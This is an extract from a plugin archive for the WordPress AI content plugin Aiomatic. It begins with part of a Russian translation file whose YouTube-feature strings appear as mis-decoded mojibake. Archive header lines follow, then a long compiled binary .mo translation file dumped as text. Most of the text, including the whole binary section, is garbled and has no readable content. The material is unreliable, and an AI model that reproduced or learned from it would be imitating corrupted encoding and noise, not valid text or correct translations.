Ð¿Ð¾Ñ…Ð¾Ð¶Ð¸Ñ… видео):" #: res/aiomatic-main.php:2353 msgid "YouTube API:" msgstr "YouTube API:" #: aiomatic-automation.php:935 msgid "YouTube Community Post Image URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñта ÑообщеÑтва YouTube" #: aiomatic-automation.php:928 msgid "YouTube Community Post Template" msgstr "Шаблон поÑта Ð´Ð»Ñ ÑообщеÑтва YouTube" #: aiomatic-automation.php:942 msgid "YouTube Community Post Type" msgstr "Тип поÑта ÑообщеÑтва YouTube" #: res/aiomatic-main.php:38 msgid "YouTube Embeds" msgstr "Ð’Ñтраивание YouTube" #: aiomatic-automatic-ai-content-writer.php:1322 msgid "YouTube To Blog Posts" msgstr "YouTube Ð´Ð»Ñ ÐŸÐ¾Ñтов в Блоге" #: aiomatic-automation.php:371 msgid "YouTube Video Caption" msgstr "ПодпиÑÑŒ к видео на YouTube" #: res/aiomatic-single-list.php:3320 res/aiomatic-youtube-list.php:382 #: res/aiomatic-youtube-list.php:2950 msgid "YouTube Video Options" msgstr "Параметры Видео на YouTube" #: aiomatic-automation.php:550 msgid "YouTube Video Search" msgstr "ПоиÑк видео на YouTube" #: res/aiomatic-main.php:4082 msgid "YouTube Video Search Keyword Extractor Model:" msgstr "Модель ÑкÑтрактора ключевых Ñлов Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube:" #: res/aiomatic-main.php:4113 msgid "YouTube Video Search Keyword Extractor Prompt:" msgstr "Промпт Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube:" #: res/aiomatic-youtube-list.php:1576 res/aiomatic-youtube-list.php:4091 msgid "YouTube Video Thumbnail" msgstr "Миниатюра Видео YouTube" #: res/aiomatic-single-list.php:963 res/aiomatic-single-list.php:3272 msgid "YouTube Video To Post" msgstr "Видео YouTube Ð´Ð»Ñ Ð¿Ð¾Ñта" #: aiomatic-automation.php:380 msgid "YouTube Video URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾ YouTube" #: res/aiomatic-single-list.php:1006 msgid "YouTube Video URLs" msgstr "URL-адреÑа Видео на YouTube" #: res/aiomatic-youtube-list.php:216 msgid "YouTube Video URLs / Channel Handle URLs" msgstr "URL-адреÑа видео YouTube/URL-адреÑа деÑкрипторов каналов" #: res/aiomatic-youtube-list.php:165 msgid "YouTube Videos To Posts Tutorial" msgstr "Учебное поÑобие по Преобразованию Видео Ñ YouTube в ПоÑте" #: aiomatic-helpers.php:428 msgid "Youtubomatic Post Generator" msgstr "Генератор ПоÑтов Youtubomatic" #: res/aiomatic-amazon-list.php:109 res/aiomatic-review-list.php:109 #: res/aiomatic-rules-list.php:109 res/aiomatic-single-list.php:109 #: res/aiomatic-single-list.php:247 res/aiomatic-youtube-list.php:109 msgid "Zulu" msgstr "ЗулуÑÑкий" #: res/aiomatic-languages.php:109 msgid "Zulu (Google Translate)" msgstr "Зулу (переводчик Google)" languages/index.php000064400000000037147577714370010360 0ustar00 languages/aiomatic-automatic-ai-content-writer-ru_RU.mo000064400004113673147577714370017271 0ustar00Þ•³´}LûLû MûWûlû}ûŽûªûÂûßûøûJüJSüžü·ü(Öü#ÿü%#ý Iý Sý.^ýÈýêVþ Aÿ¹N 6*%a5‡&½)äB?Q!‘(³$ÜL0N1”SÆ/LekƒÑAU™—)1[uÌ>\9› Õâéþ-/46<? FPnŒŽ’š¶¸¼ÅÇÉ.Ñ     L ,Y †  • ¢ ½ Í Þ ñ    ' D T e  Œ  © #Ê .î  5 T i ƒ "– ¹ Ò ì !  * 7  J k ˆ ¤ ¶ Õ  î * ": #]    )¹ #ã  %$;` x™¨±Éäö 1F \"iŒ¡$¶!Û"ý AZn–!®Ðâõ-<Lixˆš« Å#Ïó$"%GmŠ “'´(Ü$0D1u§Ææ!> \"}# Äßû <3Y&#´$Ø#ý$!#F j‹%«Ñî" /!@bs …¤ ÃÑè &&6]3{ ¯#Ð$ô- B$L(qš ¢®ÄÞ÷%&<(c.Œ»Û)ë*%@fu…¬ µ¿Ï éó  (-:hy‘¥´ÇÐ$Ùþ&;KÈS '!;]n•«°·¿×Þí    4 F a 7~ *¶ +á + !,9!f!b€!+ã!,"/<"0l"!""¿"â"ü"'# ?#`#x#%‘#·#Ö#ñ# $$:$J$[$&o$'–$ ¾$Ì$é$!%")% L%!m%%ª%$Æ%%ë%:&WL&4¤&AÙ&ü-j.9ƒ.¬½/j0^z0Ù0î0 þ0Ò 1ÐÞ1¯2·3Ê3*ä34$4´4"Ê4í4!6(718:9V9v9Œ9¥9¿9Ô9ê9,:Ñ.:9;8:;9s;6­;;ä;A <Bb< ¥<±<Ë<"à<== 5=C=^=p=)ƒ= ­=·=±Ô=D†>µË>€? @#@",@&O@v@‘@ ¬@ º@È@à@ø@A%'AMAaAqA…A¡AÖÁA¢˜B;D„>EQÃFG-G6GRGVGjG‚G“G§G¶G ÅGÏG ÞG èGõG,þG+HˆlÇlßløl m"m2m"Lmommm£m½mÎmÞmñm n%nEn_nnnnœnÏ«n{o.‹oNºo p‚p)žpÈptãpXqItq´¾qsr|r…r¡r©r%¼râr&ör%sjCsF®sªõse uHvgOv¶·vnw †w‘w ªw·w&Ôwïûw<ëyž({UÇ}~S!&uœ€ ²€ ¾€Ì€ã€ý€2Kcžt‚"‚)'‚ Q‚_‚t‚…‚—‚¯‚Ç‚ à‚ê‚ ƒ ƒ*ƒ$?ƒ)dƒŽƒ–ƒ¦ƒăÕƒçƒúƒ „„ *„7„!F„ h„‰„¥„Ä„ß„ õ„… .…O…(k…”…ª…É…Ù…ë…,ý…'*†,R†$†¤†Ć6̆C‡G‡A_‡0¡‡ Ò‡܇ú‡ˆÞˆþˆ‚‰ ’Š 3‹ >‹(J‹Qs‹ Å‹Ñ‹Ú‹ã‹ÿ‹Œ.&Œ4UŒ÷ŠŒ¨‚+=’ T’ b’n’}’Œ’¡’¶’Ñ’ ã’#ï’$“8“J“`“v“|“•“ š“¤“Á“Ú“ó“ø“ ý“K ” U”Ob”O²”P•S•\• e•q•#‡•«• ¼•É•Еê•ù• –– –6–M–b–x––– š–%¥–$Ë–ð–.—5—=—U—h—‡—£—%À—æ—™÷—S‘˜å˜#é˜ ™™-™C™T™o™*ƒ™#®™Ò™ é™õ™š+šAš#aš…šžš0´šåš2øš +œ 6œBœSœiœƒœžœ¦œÁœ ßœ% F-e6“2Ê'ý%žAž<]ž'šž!žäž öž'Ÿ?ŸHŸ3gŸ›Ÿ »Ÿ ÜŸ!ýŸ ; "Q 3t E¨ 6î 7%¡]¡(}¡)¦¡ С-ñ¡.¢°N¢ÿ¢J¤Ec¤J©¤?ô¤D4¥hy¥{â¦P^§‚¯§ 2¨>S¨N’¨Bá¨B$©Eg©Y­©‹ªA“ª4Õª» «;Æ«7¬†:¬*Á¬(ì¬H­G^­C¦­?ê­2*®æ]®rD¯p·¯E(°Zn°-É°›÷°s“±Ø²Ià²=*³Kh³ˆ´³v=·§´·[\¸ʸ¸úƒ¹8~ºZ·º».¼C½[]¾\¹¾[¿\r¿)Ï¿)ù¿'#À=KÀ@‰À—ÊÀ bÁpÁvÁ&Á#¶Á$ÚÁÿÁ7ÂJÂiÂ8ˆÂ8ÁÂ5úÂJ0à {ÃA‡ÃDÉÃ@Ä@OÄDÄ:ÕÄÅ+'ÅSÅYÅtÅ ”Å ¢Å¯ÅÈÅØÅÞÅ/ðÅ Æ (Æ02ÆcÆwÆ}ƖƯÆÈÆßÆóÆÇÇ+Ç=ÇVÇ[ÇjÇ|ǔǥǺÇØÇêÇ ûÇÈ È *È*8ÈcÈiÈ xÈ†È žÈ!¬È!ÎÈ5ðÈ&É?É&TÉ{ɘÉ/©ÉÙÉîÉ Ê Ê$Ê5ÊGÊ(YÊ‚Ë5šË%ÐËöË-Ì3ÌWP̨ÌÇÌCÙÌ#Í>AÍ)€Í1ªÍÜÍ!ûÍ$ÎBÎYÎu΅ΟÎ$ºÎ3ßÎÏ"-Ï4PÏ…ÏœÏi¼Ï&ÐEÐÇÐäÐ9Ñ9<ÑvÑ#’ѶÑ&ÐÑ(÷Ñ4 ÒUÒoÒŠÒ(¦Ò"ÏÒ$òÒÓ+Ó#HÓ*lÓ"—ÓºÓ6ÖÓ Ô0-Ô^Ô0zÔm«Ô<Õ0VÕ‡Ö Öf°ÖØØb:Ø(ØÆØ|ÖØqSÙÁÅÞ\‡âpäæsUëÃÉð^ôrìøt_ýÄÔ_™sù m^oAÎz{‹J>R‘ª¿ ×á þ-48 O [ g s  ‹ — £ ¯ » Æ Ñ Ü ç ò ý 09B|„“˜£/<l„("Æé   (:Jb f p{Ž¥!¬#Îò! +3<Kjˆ§ÄÛ'ò #/ E S ` j;‹RÇH Cc F§ î  !&!/!8!T!'f!1Ž!!À!$â!" %"/" ?"iJ"´#»#Ã#7Þ# $'!$'I$}q$ï%&&)&3.&éb&L'c'v'"Ž'±'Ï' í'ú'()(=(!M( o(*{(¦( ¶(Ä(Ë(Ò(ì(þ())4)F)Y)s)%„))ª) Ô) ß)ë)ò)û)*%*$E*j*{* **½*Ò*$ã* + +$+?+Q+p+…+›+±+È+1Ú+; ,3H,‹|,1-":-]-)s--°-Ä-Í-é-ð- . . .1.K.a.ˆ}.%1,1!G1!i1 ‹1D¬1\ñ1N2 _2m2ƒ2$ž2Ã2/Ú2 33)313L3U3q3)v3* 3*Ë3+ö3""4E4!T4v4|4¯•4E5M5h5y55¨5Å5!ã566"6)6C6rU6 È6^Ô:?3;s;x;Œ;  ;¬;²;$Ë;Gð<.8=ug=nÝ=eL>`²>c?Kw?BÃ?=@@D@B…@9È@4A77AoAuAŽA —A%¡A ÇA9ÒA³ BÀBˆÃD¦LE!óEF›/F ËFÕF òF3ÿF3GÉMGÎIæIéIíIOñIAJTJ±tJƒ&KuªK} L¾žL]M3`M ”MžM˜»MOTN¤NܽO‹šPÇ&QtîQfcR¬ÊR¿wTf7U‡žUÈ&VDïVÁ4W£öWÒšXÛm\”I`Þ`œ|aåbçÿbRçc:eØeëfè hKôiœ@krÝljPnG»oqpqupçpìp qqq4q :qHqYq4tq$©qÎqæq ûqrr+r =rJr ^rir €r‹r¢rÖºr‘t­tËtåt5ÿt5u"Ju>mu¬u3Äuøu$v4vNvAcv/¥v ÕvPávÉ2x\üxáYz`;{éœ{£†|*~æJ1 6‚!W‚&y‚ ‚ ¦‚±‚Ï‚Ø‚Ý‚%ã‚ ƒ!ƒ5ƒ GƒTƒmƒ]ƒ¸Ý„í–…„†–‡¦‡“º‡Nˆ.iˆ˜ˆ¬ˆ6ʈÓ‰AÕ‰3Š9KŠÖ…ŠD\‹6¡‹MØ‹Õ&ŒüŒO'f$Žr³8&Ž_Ž1zŽÆ¬Ž´s(‘=‘pQ‘¯Â‘&r’ñ™’‹•S›•pï—q`˜¶Ò˜}‰™ø›œ+ œÅLœv “ž «žÀLŸ§  Àµ gv¡®Þ¡`¢Î½£äF¤.+¥>Z¦1™¦ ˦Õ¦æ¦t«Š°9´9Ç´7µ*9µ'dµŒµ¦µÁµ,еýµ$¶?¶#X¶|¶›¶´¶º¶Ó¶ã¶ë¶· ·· · '· 1·<·B·K·g·p·VŒ· ã·î·¸ ¸¸%¸7¸>¸D¸L¸g¸n¸ˆ¸#¸$´¸Ù¸ê¸ó¸ù¸ ¹¹=¹E¹`¹g¹¹†¹ž¹¦¹Á¹#Ò¹ö¹ý¹ºº 'º1º5ºnLº »º źк ׺ãºéº» ».%» T»._»Ž» “»e4½ š¾4¨¾ݾø¾ ¿¿.¿$K¿p¿…¿¿¨¿ ­¿ »¿Ç¿á¿ù¿ À#À7À UÀcÀ ÀŠÀ¨ÀºÀÉÀßÀòÀ Á ÁÁ.Á 7ÁÃAÁ  ( 6 WÂb€Â#– ºÂ ÈÂÕ ìÂøÂÃÃ9ÃBÃ^Ãdà }ÇäìÃÇÃÎÃãÃúà ÄÄ8ÄPÄlÄŒÄ ¬Ä¹ÄÑÄêÄÅ"Å#:Å^Å%nÅ”Å.³Å-âÅÆÆ/Æ7ÆRÆlÆpÆ)vÆ Æ!³Æ"ÕÆøÆ Ç#Ç 3Ç>ÇOÇaÇvÇ–ÇA´Ç3öÇ4*È_ÈzÈ<”È=ÑÈ0É.@É<oÉ#¬É#ÐÉ8ôÉ9-Ê6gÊ7žÊ*ÖÊ(Ë*Ë1CË2u˨ËÂË2ØË0 Ì1<ÌnÌ…Ì›Ìg°Ì`ÍeyÍÜßÍa¼ÎÏ7ÏQÏ)jÏ ”ÏžÏ »Ï ÆÏ-ÐÏ1þÏ>0ÐoÐ~Ð ŽÐ™Ð«Ð»ÐÂÐÒÐ*ìÐ+ÑCÑYÑ]ÑrÑˆÑ Ñ©Ñ®ÑÆÑ-ËÑùÑ ÿÑ5 Ò@Ò)OÒ yÒ„Ò>Ò/ÌÒÓüÓ ÐÕÚÕ÷Õ ýÕ Ö Ö %Ö /Ö <Ö ]ÖkÖzÖÖ.§Ö%ÖÖ üÖ××7×O×#_×ƒ×‰×Ÿ× ¶×Ä× Ó×à×å× ê×ô×ü×=ØGAØi‰Ø óØþØÙ!Ù AÙMÙbÙtÙå}ÙRcÚ¶ÚÅÚ ÊÚ ÔÚßÚ«âÚ(ŽÛ·ÛQÖÛ (Ü 2Ü‘SÜ:åÜ Þ%7ÞV]Þ´ÞIÄÞZßiß!‚ߤ߭ßÍß°Ö߇à¦àNÀàDá%Tázá á ‰á“á °á¾á ÓáUáá67âknâÚâ™áã{äŒä&£ä°Êä{ç&‚ç'©ç Ñç!òçèC0èºtè­/é&Ýé'ê.,ê/[ê‹ê0§ê!Øêúêëëë"ë2ëDëYëuëë§ëÄëßë!ùëì/9ìiì8ƒì¼ìÚìöì&í-í=íRMí í »íÆíÛíÞí'ñíGîaîqîî ‘î Ÿî ¬î ¸î Ãî Ðî Üî/éîIïcï,xï!¥ï!Çï éï÷ïðð6ð1Gðyðð“ð#¢ðÆð Öð÷ðññ+/ñ[ñ*uò# òÄò×òðò óó-&óTó&qó,˜óÅó åóïóôô5ôIô[ômô€ôô Ÿô «ô¸ô½ô ÆôÑôíôôô úôõ õõ\,õ‰õ›õ£õ·õ¾õÛõöõþõö.ö?öNöfö|öŒö  ö ®ö»öÏöàö÷ö$ ÷/÷->÷l÷÷÷¤÷³÷+Ò÷þ÷øø.ø >øHøPø Yøgøwø ‹ø—ø¶øËø Ûøüøù'ù(>ùgù |ù‡ù£ù ¾ù;Êù<úKCúgúl÷ú!dûS†û,Úüý%ýDý8bý4›ý7Ðý3þ)<þ*fþ,‘þ(¾þ7çþ1ÿ#Qÿ*uÿ+ ÿÌÿ(ìÿ /60f-—(Å(î!&9"`*ƒ!®'Ð$ø¢8À9ù03ÊdG/Cw–»sR#ÆÂê D­ ò 0 : /W ‡ ™ ³ Ì 5å 7 Wet{‚œ¤ ¸Ãá óÿ "">a~Ž¤ ½(Ê'ó.AUl„˜ ¨ µÁÉ Ü æ ñ þ  ) 6Db  ‹ — £° Á ËIÖ- N`s ƒ ,˜-Å*ó.jM ¸ÅÕ"Û&þ%)6(`&‰'°Ø0ñ"3EJR aou•¥µ9½÷"6$Y%~"¤#Ç"ë#+2 ^!¡+ºæïEö$<%a$‡!¬"Î$ñ%-<1j!œ ¾!ß&'(-P~.&¿)æ.?P êa%dL*±-w?1·5gU9ǽ;y…?^ÿBI^Er¨GžJ‰ºNtDR¹U¹WY©]”»`Pc¨ÐePyhyÊjjDm2¯qâsv9y,O{b|~U߀«5„–á‡xŠªúŒ¥&5“\•jܘUG›¶+ ƒâ¢hf¦SϨ|#« ­l"±W³€çµÐh¸9¼l»¿W(€€ÄzÇš|É/ÍîGÍ6Ï>ÏFÏ!aÏ<ƒÏ(ÀÏ.éÏFÐ _ÐElÐ ²Ð¼ÐÄÐßÐ+þÐ*Ñ2Ñ 9Ñ"EÑhÑzÑ‚ÑÑ¥Ñ «Ñ¸Ñ¾ÑÅÑÙÑùÑÒ?%Ò eÒ"qÒ#”Ò¸ÒÐÒAéÒ+ÓJÓfÓƒÓžÓ¯ÓËÓÚÓëÓ:ýÓ8ÔOÔ$cÔ%ˆÔ®ÔÃÔÞÔôÔ ÕÕ%ÕEÕ \Õ gÕsÕ “Õ´Õ$ÏÕ%ôÕ$Ö%?ÖõeÖè[×DØ5XØŽØ'¦Ø ÎØØØëçØÓÙ°ÚÚ¯‹Û ;Ü\ÜpÜ%ܳÜÎÜîÜ ÝÝÝ /Ý9ÝNÞe_ÞÅÞ.ÔÞß!ß@ßFßKßTßpß ußJ‚ßÍßéß"à &àGà[à`à yà‡à à°àËàçà ïàýàá#á9áNádáƒá£á2Ãáöá´â¯½âmãuãã®ãÊãÑã×ãÞãããêãòãä ä%ä,äFäVä_äoäxä ”ä¡ä¦äµä(Åäîäå#å3å KåYå2n囡å-=æ=kæ©æ¸æÁæÙæáæ"ñæ ç !ç ,ç 9çEç;dç, ç?ÍçH èVèuè…èè-³è)áè é&éAéPécé{é ”é¢é9¹é4óé)(ê-Rê€ê5‰ê¿êÅêÌêçêÿê ë)ë@ë-]ë ‹ë˜ì¨ìaÃì%íŽ6íÅíb×íg:ò6¢öÊÙö3¤÷XØøÐ1ù*ú&-úTú0mú0žú£Ïú£sûü(ü¨üS¹ü þGþPeþ]¶þ‡ÿîœÿÄ‹¬PJýLHU•;ë<'6dx›¾PÓ=$GbPª>ûs:Z®† × /h :˜ sÓ XG A  Hâ @+ Yl SÆ  Š%E°|öJsF¾„?ŠhÊZ3UŽBäï'H4`M• ã=íX+I„GÎœ•³RIOœsìg`;È4A9.{/ª4Úv €† ¿!UÇ!_"}"|ƒ#[$[\$:¸$·ó$Ÿ«%£K&¶ï&b¦'¶ (¢À(³c)E*8]*´–*6K+6‚+¹+2W,2Š,K½,= -5G-¸}-B6.9y.9³.:í.7(/7`/J˜/:ã/¡06À07÷0/1‰½1$G24l21¡2-Ó2Å33Ç3Bû3(>4*g4~’4P5Cb5C¦5Sê5?>6W~6$Ö6)û6=%7Jc7%®7%Ô79ú7848_m8CÍ8s9-…9C³9[÷9OS:P£:»ô:W°;_<zh<8ã<?=7\=U”=Üê>ýÇ?ôÅ@ ºAîÅBG´C>üCI;D@…DaÆD/(E0XE.‰E/¸EUèEY>F~˜F*G*BG1mG)ŸG,ÉGwöG®nHAIE_I™¥IT?KJ”K`ßK5@LKvL,ÂL¶ïL¦M ÅN ÏO(ðO7P/QPPP0ÒPUQZYQw´Qb,RGRR×RE*SEpSD¶S/ûS(+TUTTdªTLUˆ\UåU«üV¨WF­XPôXLEY'’Y.ºY1éYùZN[[d[#À[=ä\""]>E]>„]BÃ]^3"^ˆV^Šß^&j_\‘_?î_q.`† `.'a*Va;a5½a7óaw+b3£bO×bR'cQzc#Ìc,ðcd8dWd'udd¼d Úd ûd&e'Ce keŒe¦e­eÇeÏeKêe6fMfVfifqf Œf@—f*Øf g$$g%Igžog„h“h‰iŒi'*jaRjÏ´j£„k1(qBZq™q97v˜qzÍ Å؃¿žˆ.^º‘tH–½—7Ü—:™‘O™Fá™B(štkš[àž€<£g½§z%¬a °Ýµoà¹VP¾×§ÂÏÇÒOË"Є@ÔAÅبÝ4°á,åá#â46â3kâ:ŸâJÚâ%äiBå;¬æèæ$è(+è)TèŸ~èé 8éYé2\êêE¤ëFêë"1ìaTì$¶í<ÛíLî(eî&Žî>µî%ôîïc"ð[†ð\âð'?ñ gñ)qò ›ò¼§óPdô7µöxíø fúðpý£anBtR·Q (\ …&!·0Ù  90EQv(È$ñ(n?&®—Õjm NØ >' Bf w© 9! 8[ 6” Ë )Ú >  C Cd%¨.Îýv…'¥ Í!×ù1ý/(C l'w Ÿ(© Ò*Ý #("Lo,t¡"°Ó&Øÿ!(! *"K" N#o#r$‘$%’%¸%+À& ì&ú'û(Ý)î)à *Ï+E`,/¦,<Ö,~-f’-Cù-p=/I®0ø1B 3BM4C4Ô4€T6*Õ7š8¤›8C@9<„9@Á9È:~Ë:~J<HÉ=Ó?­æ?Ù”@~nAdíBARC”Cú³DD®EqóEOeFSµF, G56G4lGÅ¡G:gI«¢I‚NN¡ÑN/sSB£SÁæS†¨T¥/UÕYõY™Zr­Z‘ \,²\8ß\Ã]YÜ]B6^|y^üö^ƒó_"w`ûša£–cU:eÁf~Rh‡ÑjÝYlö7n.p¿qÕOs%t>ztÀ{@5~òv~i”‡-€’J€Ý€+ö€B"‚Ce‚'©‚ Ñ‚(Ûƒ>„?C„Xƒ„¶Ü„^“††ò†cyˆ#݈‰GŠ7OŠS‡Š;ÛŠX‹9p‹Vª‹UŒ°WŒÉœÒ"oŽ’Ž'— ¿É,å‘C-‘Oq‘NÁ‘/’0@’<q’€®’~/”U®•C–GH–w–S˜?\˜[œ˜@ø˜…9™¿™Ç™ß™è™ø™þ™š 0š:š#RšNvšÅš%Êšðš' ›3›H›1b›”›3¨›Ü›!+œ&@œgœ}œ„œ žœ¨œ-¿œíœ / 8B2Gz•°"Éìó žž4žGžZž rž}ž„žžž ´žÕžìžüž ŸŸ"%ŸHŸdŸjŸrŸŸ.œŸ$ËŸ#ðŸ¡G&¡ãn¡R¢ Y¢f¢¢“¢ ª¢ Ë¢ì¢õ¢£ ££.£5£A:£|£'£(µ£&Þ£¤"¤$<¤a¤!€¤¢¤À¤#ߤ¥'¥!F¥h¥;y¥!µ¥×¥'ð¥¦6¦N¦g¦6n¦¥¦-¹¦ç¦§§ .§<§D§]§r§Š§¤§!¸§Ú§í§ýõ§ó¨©0©F©]©v©Œ© «'«D«L«]«e«€«‡««ª«¯«Ê« Ú«å« õ«"¬#¬ 8¬F¬ M¬Y¬Bl¬⯬ ’­­ ®­º­À­Ù­ß­ø­® ®&®-® G®+S®®„®‰®™® ´®Á®$Ø®ý® ¯$¯?¯]¯m¯%ƒ¯©¯P¹¯p ±–{²´/´>´N´0k´4œ´Ñ´í´µ µS(µ|µ‹µ”µ™µŠ±µc<¶  ·¤«¸P¹=p¹W®¹”º•›º"1»äT»Ì9½A¾"H¿wkÁ ãÁ{€ÂF’ÃeÙÄ9?ÅTyÅMÎÅhÆ8…ÇJ¾Ç) È´3È)èÉ$Ê!7ÊFYÊ] ÊËþÊ7ÊËCÌCFÌBŠÌ/ÍÌÈýÌÆÍ]ÛÎl9ÏE¦ÏCìÏ?0Ð|pЂíÐ_pÑqÐÑBBÒ…Ò Ò6³Ó4êÓ0ÔPÔeÔ"vÔ ™Ô+¦ÔÒÔãÔ òÔ1Õ4EÕ#zÕDžÕ=ãÕs!ÖO•ÖÆåÖǬ×QtØ­ÆÙmtÚâÛþÛÃÜ5ß܈ÝižÝXÞaaÞÿÃÞ×ÃßË›àŒgá¥ôáFšâ!áâcãPgæd¸éQíoðxð”ð ™ð ¤ð)°ðÚð'øð! ñBñSñ Yñ#eñ‰ñ¥ñÁñØñðñ ò ò !ò,ò>òWEòLó|êó÷gô|_õ1Ü÷Tø‚cøæùþùúúú $ú30ú3dú˜ú´úÓú%ìú"û5û>ûMû²bûü4üPümü|ü‚ü3‰ü½üÄüÞüåüíüýý+ý4ýCý;Sýý“ý ªý¶ýÐýÕýÛýûý þ#þ5þJþbþzþ‹þ¥þ¸þËþ ÏþÙþöþÿ&ÿ9ÿLÿcÿ!‚ÿ2¤ÿ×ì û '0-"^+­Â%Õû &8IYo~ ™ž ¶ à ÐÛï 2*-]‹¥'¹2á*$?8dLMêG8€…£½ ÎÙ ò(ý$&"K7n.¦zÕP Ýi ÚG " ) C I b Mh ¶ Å Þ å î ô 1 27 !j "Œ ¯ Ä  Ü ç   ) @MSÊi4:J^ n z‡ Ÿ¬ ½ËÚí " / = HT[ lxHØèû%7H` z‡— ¨´ÆË'Óû‰¬6<Ug’„°5Gšeö÷¸s½154:*oƒš  5 ðV G"‹\"è"##'# =#H#c#–‚# $'$ 6$ C$Q$l$†$Œ$¥$ ª$¶$º$Â$Ý$ä$}þ$(|%&¥%$Ì%ñ%â&Wô'L(€Ý(^)3î,G"-"j- -™.=¸1Yö1!P2…r2ø2fz3rá38T4X4Næ4?55µu5>+6/j6–š6˜17HÊ7u8ï‰8=y9E·9Gý9*E:Gp:A¸:Gú:HB;@‹;Ì;:Ü; < $<E<e<<<¦<¼<Ò<-ç<.=D=\=r=„=(—= À=á=ý=e>t??•?­?8Ì?@$@(@@'i@"‘@´@%Ñ@÷@3AÈBA C E)EBEHE=gE“¥EG9FF‡F ˜F¥F¾F ÜF æF/ñFA!HTcI”¸I MJYJ\J dJ qJ}J“J/ªJ,ÚJL L ?LLLcLjLmLpLuLÌLæ\M COMOVO_O qO{O~OO ‰O –O O¶O½OÅO!ÍO"ïO!P=4PErP-¸P æP›ñP R ˜R´¥RËZS[&Tk‚T=îTH,U¢uU™V¤²V…WW(ÝWX2%X XX'yXk¡X0 YG>Y‡†Y†Z •Z£ZªZ.¯ZÞZ›òZŽ^ ^#¾^â^(ö^(_0H_2y_¬_ƒÊ_¥N`.ô`I#armaXàah9b¢bµbTÄb¨cÂdÞSf42hgi/wiX§i,jP-j-~jI¬jšöjœ‘k8.l/gl1—l¥Éllom5Ümun£ˆn1,oF^oH¥o§îoÍ–p†dqeëqGQsD™sDÞs×#thûu^dvÃvÚv#év w(wwCwEwKwNw Uw(_w(ˆw±w³w·w&¿wæwèwìwüwþwx:xCxGxIxKxMx±OxFyHy cy7py2¨y3Ûyz"/z#Rzvz9z2Éz)üz7&{^{7o{.§{IÖ{E |*f|/‘|$Á|1æ|,}NE}6”}8Ë}D~NI~.˜~%Ç~=í~:+Df$«>Ð+€E;€Y€PÛ€Q,~a¶P‚i‚iƒ‚Dí‚-2ƒ<`ƒƒ ·ƒ6Ń/üƒ,„#J„n„„!¥„"Ç„ê„T…1]…9…XÉ…["†o~†[î†IJ‡-”‡,‡6ï‡/&ˆAVˆ,˜ˆ5ň=ûˆ>9‰.x‰ §‰/ȉ&ø‰'Š$GŠ+lŠ*˜ŠÊMÝŠ#+‹?O‹G‹N׋+&ŒRŒ?bŒS¢ŒVöŒ<M=Š‰È[RŽ8®Ž9çŽQ!RsSÆTHoJ¸K‘NO‘Ož‘8î‘H'’Ap’L²’?ÿ’>?“E~“BÄ“C”CK”7”@Ç”K•8T•]•Lë•"8–A[–2– Жñ–#—.&— U—0c—5”— Ê—aØ—\:˜H—˜bà˜NC™Z’™dí™)Rš*|š§š^¹šb›{››!¥›4Ç›4ü›;1œHmœJ¶œP[R;®5êN žOožS¿žŸ-Ÿ HŸ9VŸŸ ™Ÿ9£ŸÝŸ÷Ÿ* !1 "S )v S  #ô 4¡7M¡!…¡)§¡ Ñ¡ß¡Qî¡5@¢v¢#¢'±¢ Ù¢£æ¢Š¤Sž¤dò¤/W¥‡¥(¦¥4Ï¥™¦ž§±§;§þ§¨.7¨f¨…¨FŸ¨)æ¨:©2K©k~©Cê©D.ªRsªSƪ7«¹R«Y ¬Zf¬^Á¬_ ­I€­JÊ­N®Od®D´®Dù®R>¯S‘¯Aå¯D'°>l°?«°2ë°2±,Q±-~±7¬±Iä±J.²y²E”²NÚ²H)³Er³U¸³P´@_´A ´3â´4µŸKµàëµ—̶Q d·Å¶Ã­|Å1*ÆŒ\È*éÉ™Ê+®Ê'ÚÊË| ËÅÌÍcÎ01ÐDbÐ?§ÐüçÐIäÑ@.ÒPoÒÁÀÒÁ‚Ô±DÖ±ö×7¨ÙGàÙ/(Ú<XÚ=•Ú2ÓÚ3Û7:ÛMrÛÀÛ`ÕÝ_6Þ_–ÞZöÞjQßu¼ß€2à)³à1Ýà,áN<á.‹á6ºá!ñá:â)Nâ*xâk£â ãã\6ã„“ä/åâHæA+çmç<vçL³ç-è1.è`èxè’è®è(Ëèôè;éPéoéé'£é3Ëé“ÿém“ëïíñ¹ñó,«ôØô0ëôõ#õ?õ&_õ"†õ©õÅõãõõõ öö9öcHö-¬ö2Úö. ÷/<÷!l÷'Ž÷1¶÷&è÷"øK2ø$~øI£ø*íøù0ùLùfù:„ù)¿ù,éù"ú#9ú]ú0pú¡úZÁúdýcýcåýÖIþ  1R3YPQÞ]0Ž2­:à.,V[ð²N£|òo0‚j³kXŠYã\=]šMøNFM•Nã425gFGäD, Eq b· d 5 6µ >ì ?+ ak bÍ (0 2Y gŒ Bô 7 GL I” MÞ G,EtIºKPb0uA¦@è)!<8^%—½4Ý#6*N"yœ¹3Ø* @7$x7,Õ$H'=p(®%×Bý3@5t'ª Ò.Ý : Z,e’­*È+ó"#BRf¹‚;`¾ Ài^pÈJ9`„Yå@?4€5µuë]au¿×5Q U_¦µ´\I G[ D£ Rè š;!BÖ!"&,":S" Ž"(›"Ä"*×"#<!#?^#'ž#!Æ#7è#) $.J$ y$"„$§$\°$` %Rn%Á%]à%a>&[ &ü&, '8'.I'Jx'³Ã'w,6Ž,Å,4Ü,-0$-JU-( -FÉ- ..g:.Ÿ¢.µB/ø02 1&@1g1x1K‰1MÕ1%#2I22^2D‘2AÖ273\P3Z­3n4qw4wé4ka5`Í5K.6Oz6Ê6,ê687âP7×38 92 9 S95`9–9œ³9P;:d;&Ÿ;6Æ; ý;! <D,<Eq<0·<è<O=X=„æ= k>%x>ž>¼>DÍ>?!?);?e?4|?±?$Ä?=é?'@G;@ƒ@,˜@ Å@QÐ@Ž"A±AÄA1ËAMýA#KB!oB8‘B!ÊB+ìB@CqYC'ËC®óC9¢D0ÜD! E+/E$[E.€EG¯E/÷E'F.EF2tF!§F?ÉF 